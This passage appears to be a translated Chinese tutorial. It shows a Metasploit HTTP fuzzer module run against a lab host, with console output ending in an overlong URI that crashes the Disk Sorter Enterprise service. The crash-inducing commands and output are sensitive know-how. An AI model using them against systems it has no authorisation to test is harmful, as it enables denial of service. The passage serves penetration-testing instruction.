msf6 > use auxiliary/fuzzers/http/http_fuzzer msf6 auxiliary(fuzzers/http/http_fuzzer) > show options Module options (auxiliary/fuzzers/http/http_fuzzer): Name Current Setting Required Description ---- --------------- -------- ----------- MAXLENGTH 20000 yes Maximum string length RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP)View the full module info with the info, or info -d command.msf6 auxiliary(fuzzers/http/http_fuzzer) >设置RHOSTS并运行它:
msf6 auxiliary(fuzzers/http/http_fuzzer) > set RHOSTS 192.168.91.141RHOSTS => 192.168.91.141msf6 auxiliary(fuzzers/http/http_fuzzer) > run[*] Running module against 192.168.91.141[*] 192.168.91.141:80 - Fuzzing with iteration 100 using reqing length 100[*] 192.168.91.141:80 - Fuzzing with iteration 200 using reqing length 200[*] 192.168.91.141:80 - Fuzzing with iteration 300 using reqing length 300[*] 192.168.91.141:80 - Fuzzing with iteration 400 using reqing length 400[*] 192.168.91.141:80 - Fuzzing with iteration 500 using reqing length 500[*] 192.168.91.141:80 - Fuzzing with iteration 600 using reqing length 600[*] 192.168.91.141:80 - Fuzzing with iteration 700 using reqing length 700[*] 192.168.91.141:80 - Fuzzing with iteration 800 using reqing length 800[*] 192.168.91.141:80 - Fuzzing with iteration 900 using reqing length 900[*] 192.168.91.141:80 - Fuzzing with iteration 1000 using reqing length 1000[*] 192.168.91.141:80 - Fuzzing with iteration 1100 using reqing length 1100[*] 192.168.91.141:80 - Fuzzing with iteration 1200 using reqing length 1200[*] 192.168.91.141:80 - Fuzzing with iteration 1300 using reqing length 1300[*] 192.168.91.141:80 - Fuzzing with iteration 1400 using reqing length 1400[*] 192.168.91.141:80 - Fuzzing with iteration 1500 using reqing length 1500[*] 192.168.91.141:80 - The service may have crashed: iteration:1577 len=1578 uri=''XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'' error=The connection with (192.168.91.141:80) timed out.非常棒,我们的fuzzer模块成功了,它能够让 Disk Sorter Enterprise 服务崩溃。这是使用 Metasploit 对软件进行fuzzing的一个简单演示。一般来说,我们不建议使用 Metasploit 作为大型软件的fuzzing平台,但在进行渗透测试时,框架中可用的fuzzer足以获得 PoC。
#说明本文由笔者编译,转载请注明来源。